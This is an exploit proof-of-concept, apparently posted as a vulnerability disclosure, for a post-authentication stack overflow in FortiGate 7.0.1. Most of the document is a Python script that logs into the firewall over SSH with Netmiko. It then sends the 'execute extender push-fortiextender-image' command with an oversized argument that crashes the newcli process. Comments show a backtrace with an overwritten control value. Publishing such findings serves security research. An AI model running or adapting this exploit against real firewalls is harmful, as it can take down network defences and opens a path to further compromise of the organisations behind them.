Fortigate 7.0.1 Stack Overflow

`  
c@ubuntu:~/LABS$ cat fp17.py  
#!/usr/bin/env python3  
# fortigate 7.0.1 postauth stack overflow 0day  
#  
# more:   
# https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html  
#   
# Pid: 00243, application: newcli,   
# Firmware: FortiGate-VM64 v7.0.1,build0157b0157,210714 (GA) (Release),   
# Signal 6 received, Backtrace:   
# [0x7f498e5f16f0] [0x7f498e5f2d47] [0x7f498e633f47] [0x7f498e6c2c9e]   
# [0x7f498e6c2c62] [0x01f10f4d] [0x4343434342424242]   
#  
#   
  
from netmiko import Netmiko  
  
login = 'admin'  
passwd = 'admin'  
target = '192.168.56.222'  
  
fw_01 = {  
'host' : target,  
'username' : login,  
'password' : passwd,  
'device_type' : 'fortinet'  
}  
  
print("> connecting to the target: %s" % target)  
net_connect = Netmiko(**fw_01)  
# print( net_connect.find_prompt() )  
  
payload = 'execute extender push-fortiextender-image '  
payload += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD' + 'F'*300 + ' asd'  
  
command = payload  
  
full_config_cmd = net_connect.send_command( command )  
print(full_config_cmd)  
  
print("done")  
  
`